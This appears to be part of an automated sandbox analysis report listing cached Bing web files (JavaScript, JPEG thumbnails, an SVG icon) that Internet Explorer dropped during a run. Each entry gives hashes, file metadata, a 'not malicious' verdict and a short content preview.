SHA1:	94725020EFA7D3EE8FAED2B7DFFC5A4106363B5E
SHA-256:	039E6B3DF1D67341FB8E4A3815F0D1BB3292A2040334CEB9CFC4A8D6ABF2FB55
SHA-512:	CF0D54F0368FFBC6908216FD2573DF8F5FE4C34AC08E17301B8734B3FABC674672A7F456707F632F82F44B36812DAD8A0CF81A51D5CEA21EA7F0E18500298375
Malicious:	false
Preview:	var UetTag;(function(n){function t(n,t,i,r,u){var e,o,h,s,v,f,c;i===void 0&&(i="script");r===void 0&&(r="//bat.bing.com/bat.js");u===void 0&&(u="uetq");var y=n.location.search.substring(1),l=y.split("&"),a="";for(e=0;e<l.length;e++)if(o=l[e].split("="),o.length>=2&&o[0]==="form"){a=o[1];break}for(h=["MSC001","MSC002","MSC003","MSC005","MSC006","MSC007","MSC008","MSC009","MSC010","MSC011","MSC012","MSC013","MSC014","MSC015","MSC016","MSC017","MSC018","MSC019","MSC020","SP0001","SP0002","MOG001","MOG002","MOG003","MOG004","MOG005","MOG006","MOG007","MOG008","MOG009","MOG010"],s=0;s<h.length;s++)if(h[s]===a){n[u]=n[u]\|\|[];v=function(){var t={ti:"355015334",q:null};t.q=n[u];n.UET&&(n[u]=new n.UET(t)\|\|[]);n[u].push("pageLoad")};f=t.createElement(i);f.src=r;f.async=1;f.onload=f.onreadystatechange=function(){var n=this.readyState;n&&n!=="loaded"&&n!=="complete"\|\|(v(),f.onload=f.onreadystatechange=null)};c=t.getElementsByTagName(i)[0];c.parentNode.insertBefore(f,c);break}}n.uetTaggingInit=t;t(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ln5TQq6AIWfcBlduDk-5bnaJMpY[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:58:04], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4409
Entropy (8bit):	7.661436320849241
Encrypted:	false
SSDEEP:	96:sZbhwhNizUZvpj+cq69L5CiYXL6UIwLxl3LeD:sWzj+cq615Te+Se
MD5:	A98A08BDB99B8422C9DC9D6FDD9387C3
SHA1:	967E5342AE802167DC06576E0E4FB96E76893296
SHA-256:	5FAB9EE214738E71D6C01392EBC7B1EEC09EF8E19CA508EF28154E3E7A769ACF
SHA-512:	660020F40078ADA6A3E3DB7B55063D3E3603F82CFBB3ACF81FE2DF53F23064414C78DAF8657C6E556ADCC4D2034EC077F8C0B4A7720018E457DAFDEEF0323476
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:58:04....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.............................................................................................. (... ....@..........(.@..............(.................R. .......................f.....#x.....6.9.]...f............\|:......b...=....M}.}3/...H..{},k...x..`B.....z........y..9.yv.....9....>n...f...W......ug'.x..6:-3.a.iaHB.@.T.. .Q.@.)A.....At`..(..X!..0t).H...........s.uR6E.J.K9.@*.$.Es....&.........................!.. "A$10Bp.............o.wb.H2......p....H..m....ez.5.5....L.%.i....'..).s....$..q...E.....yxe-d<.VI...<s.~K....4.o.?.y.NY3r1..5...M9F..^Q...y..........>$.&r.g ..MK.qe....5.......~!.....\.&\|....!5...`9.)F.R;.fY.%.&.={..R.A.....>.y....E.Q._....<.\|_...J.....z&_

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ni3MyKKVu9pK0SgY6gb6Z2NOGpg[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:43:45], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	3814
Entropy (8bit):	7.634659202076907
Encrypted:	false
SSDEEP:	96:sQrbnTt8ATpTToooX6l4d309BEEGp0m1amWth0x/aA+9GnPoYXEcX:sS8AyJKl4xV0KamWtOb+SP0cX
MD5:	281570611F89219A970F2589F98A09DB
SHA1:	9E2DCCC8A295BBDA4AD12818EA06FA67634E1A98
SHA-256:	7BDAB4155253E159B748E2BE6CB1C0AF736F18D2A4DBDDF79D93D6219A3DE9DD
SHA-512:	FB9CAEE5B3FF8A3CE8C4D6D066CC0283A8A158E32131754CD9EFB1B4A25303CAA72FAE11C23E836B2A2F0D5005F0E39EB2A38D1D28CB81CAE5C1C818D77B80FB
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:43:45....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................... .. ..... .. .. ..$................H.............. ..$..H .. .....AY .....: ...P$..$.. .tXAI ......@....9..I...Rt....f$.Z....+..,.. .t@1.Q.O=..3.l.#.v..1gZ,...[..A&.y.....j....=-.{.[.....5t.y.q..T..t.UY...Z.,..]....{...bI<.4`..<].m'...D..9.......z5.....0G..U.b.e.qn6k7cwo......1G=......)n..g..1.vZ...jIu..9.c.uo=..>...r..-......2..g.V.Z\.{.^c:..Jj.uY....5-."V...?...(......................!..".. .12#0@ABp...............>.....n..>..z..z..n.' .\.J.-...u#.....c~.@d.......\|./..g..v....#..:a_....p=$Z.%.3..SN.G..Hi.._.W........L.........$.?..p_.w. ..e.h..A..9.-[..n.F.......Q.. .2.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\pNapkjHZUfN9lRvYNW2dF2ZL9Ec[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (838), with no line terminators
Category:	dropped
Size (bytes):	838
Entropy (8bit):	5.10179630103155
Encrypted:	false
SSDEEP:	24:01rReu5mXKBj/BsKkRW5LuRWCfRM7ssdvcR:09wwDEw56w2+s6cR
MD5:	8C8B189422C448709EA6BD43EE898AFB
SHA1:	A4D6A99231D951F37D951BD8356D9D17664BF447
SHA-256:	567506D6F20F55859E137FCBD98F9E1A678C0D51192FF186E16FD99D6D301CFF
SHA-512:	6FAA73D59082065426769A27081CBEDCD22146EF948AFDD9A86801F205B2DDDC63E03AC5D555EF0AF23EF05901EBFFE7E8AADD82260EF505CB89D99E572FDF4A
Malicious:	false
Preview:	var CursorProgress;(function(n){function f(n){while(n&&n.nodeName!=="A")n=n.parentElement;return n}function e(n){var u,e,o,s;n.button!==0\|\|n.ctrlKey\|\|n.shiftKey\|\|(u=f(sj_et(n)),u!=null)&&u.getAttribute("role")!=="button"&&(r(),e=(u.getAttribute("href")\|\|"").trim().toLowerCase(),e!==""&&e.indexOf("javascript:")!==0&&e.indexOf("#")!==0)&&(o=u.getAttribute("target"),o===null\|\|o.trim()==="")&&(Lib.CssClass.add(u,t),s=_ge("b_content"),s!==null&&Lib.CssClass.add(s,t),i!==null&&(sb_ct(i),i=null),i=sb_st(r,5e3))}function r(){for(var i=_d.getElementsByClassName(t),n=i.length-1;n>=0;n--)Lib.CssClass.remove(i[n],t)}function u(){var r=_ge("b_content"),n,t,i;if(r!==null&&(n=r.getElementsByTagName("A"),n))for(t=0;t<n.length;t++)(i=n[t],i)&&sj_be(i,"click",e)}var t="b_CursorProgress",i=null;n.bind=u;u()})(CursorProgress\|\|(CursorProgress={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\t6Bkpkzq5ckAnvfW2PY7kNOTPJ0[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.86807996961474
Encrypted:	false
SSDEEP:	6:A909cpDUDUBDhR9c2p83QVhXANO09c8k9Au9c2pHn:AocpwDUBhfc2W3YXANvcpiMc2Bn
MD5:	6C2C6DB3832D53062D303CDFF5E2BD30
SHA1:	B7A064A64CEAE5C9009EF7D6D8F63B90D3933C9D
SHA-256:	06B77EE16A2CD34ACD210B4F2B6E423762EA8874BB26AE5A37DB9DD01A00FF70
SHA-512:	BC2D115B53035B700D727AF9D7EFAF32DD2A39A2344F3F5FA1A82586BE849EC7803E8320661E66AB7DD2A17E64B7897E95BBD84502B91997FA46EBA4E67E8C7D
Malicious:	false
Preview:	function RewardsReportActivity(n){window.sj_rra&&sj_rra(n)}(function(){RewardsReportActivity(document.URL);sj_evt&&sj_evt.bind("acclink:updated",function(){typeof RewardsReportActivity!="undefined"&&RewardsReportActivity(document.URL)},1)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\2NNJBOURscmq4VZboQzNBFyUAzM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (888), with no line terminators
Category:	dropped
Size (bytes):	888
Entropy (8bit):	5.1970220185324045
Encrypted:	false
SSDEEP:	24:2QiCUrgtI/QHnUrtrRIRJ7ea/TwH4Mnbx+yGow0N:SK44AIb/7QUH0N
MD5:	F1CF1909716CE3DA53172898BB780024
SHA1:	D8D34904E511B1C9AAE1565BA10CCD045C940333
SHA-256:	9ABAC0CBFA6F89106B66CD4F698EAD5CCBF615ECF8CD7E9E88567A7C33CFEC01
SHA-512:	8B641E93405565B4A57C051EDEFC8E02D6C929DDD4C52F9BFBD19C57896AA40426BF5ED6760DBD479719561C4F0A25BFC4102F0F49D3D308035C9CA90B1D0FCE
Malicious:	false
Preview:	(function(){function f(){var u=o(),i,t,f;if(u)for(i=s(u),t=0;t<i.length;t++)f=i[t].id.replace(n,""),Log&&Log.Log&&Log.Log("Info",r,f,!1,"Text",t.toString()),sj_be(i[t],"mousedown",e)}function e(t){var r=i(t.target),f;r!=null&&(f=r.id.replace(n,""),Log&&Log.Log&&Log.Log("Info",u,f))}function i(t){if(t!=null){var r=t.id;return r!=null&&r.indexOf(n)===0?t:i(t.parentElement)}return null}function o(){var n=_d.querySelectorAll(".b_scopebar > ul");return n&&n.length>0?n[0]:null}function s(i){for(var r,o,u=[],e=i.children,f=0;f<e.length;f++)r=e[f].id,r!=null&&r!==t&&r.indexOf(n)===0?u.push(e[f]):r!=null&&r===t&&(o=h(),u.push.apply(u,o));return u}function h(){var n=_d.querySelectorAll(".b_scopebar #b-scopeListItem-menu .b_sp_over_menu .b_scopebar_item");return Array.prototype.slice.call(n)}var n="b-scopeListItem-",t=n+"menu",r="DynScopeRank",u="DynScopeClick";sj_evt.bind("onP1",f)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\95z5wMy4UcfbSSSlSw780vQ5jKA[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:38:22], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	5387
Entropy (8bit):	7.799957991588148
Encrypted:	false
SSDEEP:	96:sQ+bfdSpU7SG7bVFwZ1w2f7yXMAZpqdiCRf6LtoIJ7g0WRiKQS+FhIeEIboU3cq:sRdSpU7vbVFwZ11jIIO6M7JqoIZuz3cq
MD5:	69D162774F894FF8B920330E376B7A62
SHA1:	F79CF9C0CCB851C7DB4924A54B0EFCD2F4398CA0
SHA-256:	C9FAA34663FE19EB4D8C007BF00AD7C4BC993F70C9FC42A04801ECCDD59008F7
SHA-512:	9D0E7FA4AC408D9D7D86186E05258BDB615B04AE8EC0DF813C3307A646EC4F87AABA1FCD77914AEA1FFE3607B87BBCA2DCC5D18C076D8AECDEA1496910AEC87D
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:38:22....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.......................................................................................S&....1...\.g).l.....^S......^,I..c.7,..YX(."..>wiT.y.:^8........R.-)s..>.+@..c..V.[Af...T.........3........B.\|.~...A..\|..r.......(qC..m~..nb...r.LIU.i3.K..........y.]5..\W;b.:/F...v.OW.R^...y^}4._...I4.t....l......,.$.C.....6..IS..E...../..J...5...%....Z.eK.u....j.........*x.{..t.!....@,...}..W...X8.S.........X.Z...-.w..(.8...z..EC..\....8.m5...z....Y.!\...!@.<:b].-.i}.....?..%...=gE.VM..\.2CJ..kK.d...o.!..v...M.e..4,...l...Y0...V.[.g..r.....h.....[-..-.....J....9kA..L...#.!"."kO.;...R.2...)Mr...X8....G.;A..".!az..Ud.Ie......+..........................!34 "12..$0ABCD........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\FdV4c_-YGVxX40_HeKzMQcIRcuc[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1725), with no line terminators
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	5.274895734185393
Encrypted:	false
SSDEEP:	24:y2x50QNQE0YpOP8A47n0dvZ1fj5O7Rv75gZcODcv/Kum65X9gFiO5yV94GVvwCQO:7Lps4YJOVuK2KG65tggZV5
MD5:	2EF3074238B080B648E9A10429D67405
SHA1:	15D57873FF98195C57E34FC778ACCC41C21172E7
SHA-256:	E90558EB19208AD73F0DE1CD9839D0317594BF23DA0514F51272BF27183F01DA
SHA-512:	C1D7074A0EBF5968B468F98FC4C0C7829999E402DD91C617E679EEB46C873DC04096CBF9277E115FC42C97516A6C11A9F16AFA571E00F0D826BEB463E2D1F7B0
Malicious:	false
Preview:	var RewardsCreditRefresh;(function(n){function r(t,i,r,u,f,e,o,s,h,c,l,a,v,y){sj_cook.set(t,i,r.toString(),!1,"/");sj_cook.set(t,u,f.toString(),!1,"/");sj_cook.set(t,e,o.toString(),!1,"/");sj_cook.set(t,s,h.toString(),!1,"/");sj_cook.set(t,c,l.toString(),!1,"/");sj_cook.set(t,a,v.toString(),!1,"/");sj_evt.fire("RewardsCookieUpdated");sj_evt.bind("identityHeaderShown",function(){return n.RewardsHeaderAnim(o,r,f,y)},1)}function u(n,r,u,f){var c;u=u\|\|r;var o=_ge("id_rh"),e=_ge("rh_animcrcl"),l=_ge("id_rc");if(o&&l&&(e\|\|_ge("givemuid_heart"))&&!(r<0)&&!(r<n)&&!(u<=0)){var a=800,v=r-n,s=Math.min(100,100(r/u)),h=e&&s>=100&&n<u,y=v>0,p=Date.now();s>=100&&Lib.CssClass.add(o,"rh_reedm");e&&Lib.CssClass.add(e,"anim");c=function(u){if(u){var k=Date.now(),w=k-p,b=Math.min(w/a,1),d=h?tb:ts/100,g=y?Math.min(Math.floor((n+bv)/f)*f,r):r,l=_ge("rewardsAnimation");e&&e.setAttribute("stroke-dasharray",d.toString()+","+t.toString());u.innerText=g.toString();(h\|\|y)&&(w<a?i(function(){return c(u)}):(u.i

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\GJDmKr3_TS3Qpm6KEL9UKUQKUO4[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:40:12], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	6817
Entropy (8bit):	7.859219052464007
Encrypted:	false
SSDEEP:	192:sO4w46jQPjxS2VUxVMkjqHqHfGaOUE37ri:sO346jojxR0WKHfoe
MD5:	0C41EE31B04E978B4882D17690F03A3A
SHA1:	1890E62ABDFF4D2DD0A66E8A10BF5429440A50EE
SHA-256:	97785743A5FFC303FF8B7B465CD12AF8403F7EED2B2D19687E118E2621059741
SHA-512:	88555E4C500A6B416E8A8E783497B1F6925EEAF708991080E3776757102D9D522CA4830CE924ACA23EC55C579AAC5CFCA7116343236FE8BF8A13FB2DFBD104AD
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:40:12....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................!e."E.T....!......S-C`!..bB.e.J2.z..:<....9.=.[....... .l..Rwy...X..s..u....!.a gNe..+......r...!..-8ZX%..!.e..e../.]..e.vk.R0._;.\|..<hE...l..i..,.s.Ec.e.G..T....\|.s..K..............+.\|.q.=..1r..$vSb..^q.(hk/..w8...;.v..p:.....C.k.....q.(.M..M.....}q.r+...N.....#.xK.O.....Ci.S=s...}ea[..>MC4.zN;w.Z.%...g.....jo:.g..L.7.......K3...oa.}.=3.<No.\|l..q...#Iszt.z..g..%...z..m.....q....t.L%.\Xc..r:.a...........s{.A..=.z%.W....y}}..W..2......^..s..^...R.$..K..E'M........c.[..Buhvu....H...7N.=...o\|...Z[\.:.=..3.......jP...k....p.....r. ...!R.z2....`T.......H.*k,..`.@..$P@G...(....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\G_yFy6XEJBNpQawd_XeaVjtb7tQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (7155), with no line terminators
Category:	dropped
Size (bytes):	7155
Entropy (8bit):	5.435598317550486
Encrypted:	false
SSDEEP:	192:paWT3REjhNn5y1Myoy+y25syZWNKo5xp5VUILj/rVEkVu4akUr:paWzEhNn5y1Myoy+y25syq/VUIX/1aka
MD5:	DC221228E109F89B8B10C48F2678FB46
SHA1:	1BFC85CBA5C424136941AC1DFD779A563B5BEED4
SHA-256:	F4FB7234959F48C2B2CA73FD6C35D36EAF65D8C431D982A1BA208F5CDC766419
SHA-512:	46F49E5AC18436251778D1F50C027729A2442ED6541C3162D878720703E37797B6028D96EB1568C23EC5006FB022C8E05855E250D6A1A590F41E890866529CD2
Malicious:	false
Preview:	var QuickSearch;(function(n){function et(n){var t=_w.location.protocol+"//"+_w.location.hostname+"/chat?q="+encodeURIComponent(n)+"&showconv=1&sendquery=1&form=IPRV10";a?window.open(t):_w.location.href=t}function w(n){sb_st(function(){var it,rt,ut,ft,f,a,w,st,d,at,s,v,g,vt,ht,y,p,ct,nt;if(l=null,NodeList.prototype.forEach\|\|(NodeList.prototype.forEach=function(n,t){t=t\|\|window;for(var i=0;i<this.length;i++)n.call(t,this[i],i,this)}),f=window.getSelection(),t=(it=f===null\|\|f===void 0?void 0:f.toString())!==null&&it!==void 0?it:"",a=_ge("qs_searchBox"),w=o?_ge("mfa_root"):null,!o\|\|w!=null){var lt,et=!0;f!=null&&f.anchorNode!=null&&(lt=f.anchorNode.nodeValue\|\|f.anchorNode.textContent,et=!tt.some(function(n){return n!=null&&n!=undefined?n.contains(f.anchorNode):!1}),f.anchorNode.childNodes!=null&&f.anchorNode.childNodes.forEach(function(n){(n.nodeName==="INPUT"\|\|n.nodeName==="TEXTAREA")&&(et=!1)}));st=!0;dt()\|\|f.type=="Range"\|\|(st=!1);t.trim()!=""&&et&&st&&u&&t.trim().length<2048?(sj_log("C

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\KC_nX2_tPPyFvVw1RK20Yu1FyDk[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	726
Entropy (8bit):	4.636787858533541
Encrypted:	false
SSDEEP:	12:tbH41nlcWYiB1+Xl0ML2t1iOfEmmgaUEUZQ6nMAIPWSxs4yPISEIe9t8aayPISEx:t741nTYifqLL2+O7mgaxSQ6MFnE3nkO
MD5:	6601E4A25AB847203E1015B32514B16C
SHA1:	282FE75F6FED3CFC85BD5C3544ADB462ED45C839
SHA-256:	6E5D3FFF70EEC85FF6D42C84062076688CB092A3D605F47260DBBE6B3B836B21
SHA-512:	305C325EAD714D7BCBD25F3ACED4D7B6AED6AE58D7D4C2F2DFFCE3DFDEB0F427EC812639AD50708EA08BC79E4FAD8AC2D9562B142E0808936053715938638B7C
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16">.. <path d="M0 0h16v16h-16v-16z" fill="none"/>.. <path fill="#007DAA" d="M11 4h4l-5-4v3c0 .552.447 1 1 1zm-3-1v-3h-4.5c-.828 0-1.5.672-1.5 1.5v13c0 .828.672 1.5 1.5 1.5h10c.828 0 1.5-.672 1.5-1.5v-8.5h-4c-1.654 0-3-1.346-3-3zm4.707 10.707c-.181.181-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293s.293.431.293.707-.112.526-.293.707zm0-5.414c.181.181.293.431.293.707s-.112.526-.293.707-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293z"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\No5xIZMVh9KdmI4bjLD9p4Xl0Ys[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1587), with no line terminators
Category:	dropped
Size (bytes):	1589
Entropy (8bit):	5.24528911504239
Encrypted:	false
SSDEEP:	48:KyskFELbJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybibJnSE5aU93HGaQJWAiIh
MD5:	CB027BA6EB6DD3F033C02183B9423995
SHA1:	368E7121931587D29D988E1B8CB0FDA785E5D18B
SHA-256:	04A007926A68BB33E36202EB27F53882AF7FD009C1EC3AD7177FBA380A5FB96F
SHA-512:	6A575205C83B1FC3BFAC164828FBDB3A25EAD355A6071B7D443C0F8AB5796FE2601C48946C2E4C9915E08AD14106B4A01D2FCD534D50EA51C4BC88879D8BEC8D
Malicious:	false
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&n.setLoginPreference&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+".")

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\QtZcquNOunoFE0KySXJmXmH6auI[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (2524), with no line terminators
Category:	dropped
Size (bytes):	2524
Entropy (8bit):	5.496443534651084
Encrypted:	false
SSDEEP:	48:PvB3ugs9kys5b+qM4qKr+KOHaH4ZMLSyKQug1LL7j:PvB89kyPWqKKKOHY4Z+zn
MD5:	17CDAB99027114DBCBD9D573C5B7A8A9
SHA1:	42D65CAAE34EBA7A051342B24972665E61FA6AE2
SHA-256:	5FF6B0F0620AA14559D5D869DBEB96FEBC4014051FA7D5DF20223B10B35312DE
SHA-512:	1FE83B7EC455840A8DDB4EEDBBCD017F4B6183772A9643D40117A96D5FFF70E8083E424D64DEBA209E0EF2E54368ACD58E16E47A6810D6595E1D89D90BCA149A
Malicious:	false
Preview:	var RewardsHeaderSVG;(function(n){function w(){s()}function b(n,t){var i=sj_cook.get(h,l);t?n.indexOf(i)>-1?o():s():k()>0&&o()}function o(){g();sb_st(nt,u);sb_st(d,u)}function k(){var n=sj_cook.get(c,a);return parseInt(n)}function d(){sj_evt.fire(v)}function s(){sj_evt.fire(y)}function g(){var u=_ge(r),n;_ge(t)&&Lib.CssClass.add(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.add(_ge(i),"rd_hide");u&&(n=document.createElement("img"),n.setAttribute("id","coinFlipGif"),n.setAttribute("class","rhcoinflip"),n.setAttribute("src",p),u.appendChild(n),u.style.display="block")}function nt(){_ge(r).style.display="none";_ge(t)&&Lib.CssClass.remove(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.remove(_ge(i),"rd_hide")}var h="_RwBf",c="_SS",l="v",a="RP",r="coinFlipGifContainer",t="rewards_header_icon serp",i="rewards_header_icon hp",v="rewardsRedDot",y="redDotAnimation",u=1750,p="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/coin_flip_3d.gif",f=_d.querySelector(".rhlined.serp, .rhlined.hp"),e=_d.que

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\VeYpfzSZtJYcjpVvfwiIaM1Zx2k[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (684), with no line terminators
Category:	dropped
Size (bytes):	684
Entropy (8bit):	5.166363591063823
Encrypted:	false
SSDEEP:	12:2Q12lkSF3mVwl/BJWhuSpOYkM3+Pu1w2E1fNPrQ5uj5lD+QgAjTYCXPrQuN:2Q1QkSFr5BJupODpfPrQ8Dn/XPrQuN
MD5:	C1D04951E98B892931D4C2BC34555057
SHA1:	55E6297F3499B4961C8E956F7F088868CD59C769
SHA-256:	7C317940549467B3210D2F72DA000BAC3481ABFDE3AC5358D398EB64DCBC8532
SHA-512:	D427487C00AF5E8D9DB222F8A01521A5C8646AE8E459D517443DAC8EF2DBEC2DDEA91877B095B82CF3E52031E1650C7360811ED8A06E02F85E3517974D36AD96
Malicious:	false
Preview:	(function(){var n,i=(new Date).getTime(),t=_G!==undefined&&_G.RTO!==undefined?_G.RTO:null,r=((n=_G===null\|\|_G===void 0?void 0:_G.EF)===null\|\|n===void 0?void 0:n.infrefcflog)===1;t!=null&&(window.history.scrollRestoration="auto",document.addEventListener("visibilitychange",function(){if(document.visibilityState==="visible"&&window.location.href.indexOf("/search")>=0&&(new Date).getTime()-i>t&&(Log&&Log.Log&&Log.Log("NTRef","DayRefresh","Active"),!r)){var n=window.location.href+(window.location.href.indexOf("dayref=1")<0?"&dayref=1":"");window.location.href=n}}),typeof setTimeout!="undefined"&&setTimeout(function(){Log&&Log.Log&&Log.Log("NTRef","DayRefresh","Inactive")},t))})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\7FHH9LPM\XqNZeeOsUYKR5NcXn0F5cf0NyHQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1333), with no line terminators
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	5.118534997873121
Encrypted:	false
SSDEEP:	24:PlQiztVfI2TdzmkUamV2an3pQ8TIOKEKzbkzER8zXOvD6AYlNyUEr040x0e0v0tn:NQ6rGNIyAbAEuzYDCN2rnWJQSya
MD5:	EEE13BD45C83C7611E9E36689E385FBD
SHA1:	5EA35979E3AC518291E4D7179F417971FD0DC874
SHA-256:	E1DCAF1B7BB92C803802ABAB8D544D277ABF34C06693BD2B83BB598C0DBC7496
SHA-512:	1361145E4C71FC176F76AE84D96F057F8DFA7461FB4926B779F3C059B7C6C8E4BCEFA9B883309D3C3AE6895570F293BF6EEC5374C242C48019CBD6202D4D0373
Malicious:	false
